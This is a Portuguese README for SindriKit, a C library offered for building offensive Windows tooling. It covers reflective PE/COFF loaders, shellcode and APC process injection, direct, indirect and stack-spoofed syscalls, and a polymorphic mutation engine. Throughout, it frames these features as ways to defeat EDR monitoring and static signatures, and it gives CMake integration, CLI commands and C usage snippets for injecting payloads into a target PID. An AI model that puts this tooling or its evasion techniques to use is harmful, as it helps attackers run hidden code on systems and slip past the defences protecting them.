
SindriKit v2.0.0
Uma biblioteca C fundamental para construir capacidades ofensivas operacionalmente críveis.
SindriKit
O Desenvolvimento Ofensivo Merece uma Arquitetura Melhor.
Uma biblioteca C para construir capacidades ofensivas.
Conceito Central
A maioria dos utilitários ofensivos codifica rigidamente seus mecanismos de execução dentro da lógica da técnica. Um loader reflexivo não apenas mapeia uma imagem; ele a mapeia usando uma cadeia específica e codificada de chamadas VirtualAlloc ou NTAPI nativas. Quando um EDR começa a monitorar essa cadeia específica, você é forçado a reescrever a ferramenta inteira.
O SindriKit resolve isso impondo uma separação de responsabilidades por meio de tabelas de abstração de interface:
- A Lógica da Técnica: (ex.: loaders, injeções, patchers) lida com rastreamento de estado e orquestração de dados. Ela não tem conhecimento de como a memória é alocada ou como as threads são criadas.
- Os Mecanismos de Execução: (ex.: Win32 API, NTAPI Nativa, Syscalls Diretas) ficam dentro de tabelas de API independentes e são injetados na técnica em tempo de execução.
Ao deslocar os mecanismos de execução para ponteiros de função em tempo de execução, você pode trocar toda a sua estratégia de chamadas Win32 para syscalls diretas brutas com uma única linha de código — sem alterar a lógica de execução do seu payload.
Arquitetura de Design
- Perfis de Execução Desacoplados: Troque mecânicas de memória, módulo, mapeamento, processo, thread e arquivo por meio de tabelas independentes de ponteiros de função (
snd_memory_api_t,snd_module_api_t,snd_process_api_t,snd_thread_api_t,snd_mapping_api_t,snd_file_api_t) sem tocar na lógica da técnica. - Cobertura de Técnicas: Carregamento reflexivo de PE (EXE/DLL) e COFF/BOF, injeção clássica e early-bird APC sobre shellcode/PE/COFF, além de FFI ciente de arquitetura e Heaven's Gate — tudo sobre os mesmos perfis componíveis.
- Pipeline de Syscalls em Cascata: Resolvedores de SSN plugáveis (
snd_syscall_resolve_ssn_scan,snd_syscall_resolve_ssn_sort) com uma cadeia de prioridade, desacoplados dos invocadores: direto, indireto (gadget NTDLL) ou spoofed (spoofing dinâmico de call-stack Fat-Frame). - Status Codificado por Facility: Toda chamada sujeita a falha retorna
snd_status_t— um código de facility/local empacotado mais o erro do SO capturado, com strings de contexto que são removidas na compilação no tier silencioso. - Ofuscação em Tempo de Compilação: Algoritmos de hash de strings e APIs (DJB2, FNV1A) podem ser trocados globalmente via CMake. A compilação randomiza automaticamente a seed global para alterar assinaturas estáticas.
- Motor de Mutação: Habilita polimorfismo profundo via
SND_MORPH. Gera assinaturas binárias únicas a cada build ao injetar predicados opacos voláteis no código C, matemática/NOPs funcionalmente equivalentes em stubs Assembly, e embaralhar o layout de memória de structs centrais. - Builds de Release: Um tier silencioso remove todas as strings de diagnóstico, descritores de arquivo e frames de rastreamento; builds
SND_CRTLESSvão além com/NODEFAULTLIB, sem header do SDK, um frontend PEB e apenas backends nativos.
Início Rápido
O repositório inclui uma única CLI unified que exercita todos os perfis:
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
unified suporta load pe|coff, inject classic|apc|hijack (shell, PE, COFF) e hg, cada um sobre --win/--nt/--sys. Veja Exemplos & PoCs e Primeiros Passos.
Integrando o SindriKit
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Apenas duas linhas para que sua ferramenta herde todas as capacidades do SindriKit: parsing de PE e COFF, carregamento reflexivo, syscalls em cascata e perfis de injeção.
O Motor
Camada de Abstração de API
┌────────────────────────────────────────────────────────────────────────────┐
│ QUALQUER INTENÇÃO OFENSIVA │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ CAMADA DE ABSTRAÇÃO DE API DO SINDRIKIT │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls bootstrap) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Perfil Win32 │ Perfil Nativo │ Traga Seu Próprio Mecanismo │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exótico │
│ LoadLibraryA │ PEB Walk + EAT │ Funções definidas pelo operador │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
Na prática, isso significa que todo domínio segue o mesmo contrato:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
Pipeline de Syscalls em Cascata
O SindriKit trata a resolução de syscalls como um mecanismo injetável, empilhando estratégias em ordem de prioridade. O motor percorre até que uma tenha sucesso:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
O invocador é desacoplado da resolução de SSN — alterne entre syscalls diretas, indiretas e spoofed sem modificar o código do domínio. A invocação indireta salta para um gadget legítimo da NTDLL para que o endereço de retorno permaneça dentro de ntdll.dll; a invocação spoofed adicionalmente planta um endereço de retorno genuíno do chamador dentro de um "Fat Frame" descoberto dinamicamente, para que os unwinds da call-stack permaneçam coerentes.